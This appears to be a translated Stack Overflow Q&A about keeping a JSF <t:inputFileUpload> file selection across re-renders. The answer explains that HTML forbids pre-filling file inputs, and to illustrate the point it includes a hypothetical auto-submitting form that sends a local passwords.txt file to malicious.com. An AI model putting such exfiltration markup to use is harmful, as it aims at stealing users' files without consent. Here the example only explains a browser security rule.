1

<t:inputFileUpload>用于在我的应用程序中上传文件。所选文件(表示为UploadedFile对象)仅在表单提交时保存到其绑定(支持 bean 中的成员)。当我在 UI 中使用动态元素时,表单将在不提交的情况下重新呈现。在这种情况下,值绑定是无效的,用户必须使用重新选择文件<t:inputFileUpload>

当然,这不是很人性化。即使没有提交,也会<t:inputFileUpload>抛出一个ValueChangedEvent,我想向它注册一个事件处理程序,它将新值(即上传的文件)复制到值绑定(即支持 bean 的成员)中。因为我想允许上传多个文件,所以我有一个UploadedFile对象数组作为值绑定,在 JSF 中引用如下:

<ui:repeat value="#{bean.myFiles}" var="file">
  <t:inputFileUpload
    value   = "#{file}"
    storage = "file" />
</ui:repeat>

现在我想做这样的事情:

UploadedFile[] myFiles;

public void valueChangedHandler(ValueChangedEvent ev) {
  UploadedFile file = (UploadedFile)ev.getNewValue();
  UIComponent comp = ev.getComponent();
  // This line is pseudocode - getValueBinding() is not available
  UploadedFile bindingFile = (UploadedFile)comp.getValueBinding();
  // Assigning the new value to the binding
  bindingFile = file;
}

这样的事情可能吗?我还不明白如何调用ValueBinding getValueBinding(String)它来让它像我想要的那样发生。

4

1 回答 1

2

用户必须使用重新选择文件<t:inputFileUpload>

这不是 JSF 限制。这是一个 HTML 限制。该<t:inputFileUpload>组件呈现一个 HTML<input type="file">字段。能够预填充/保留这样的字段是一个巨大的安全漏洞,并且在 HTML 中是不允许的。

要更好地理解安全漏洞,请查看以下纯 HTML 示例:

<form id="upload" action="http://malicious.com/upload" method="post" enctype="multipart/form-data">
    <input type="file" name="file" value="c:/I/guess/this/is/path/to/your/passwords.txt" />
</form>
<script>document.getElementById("upload").submit();</script>

如果它被支持并且使用上述表单打开一个网页,则passwords.txt无需任何用户干预就可以将其发送到服务器!

如果在 HTML 中某些事情是不可能的,那么 JSF 已经不能为您做很多事情了(因为它基本上所做的只是生成一些 HTML)。

于 2011-07-14T07:58:36.627 回答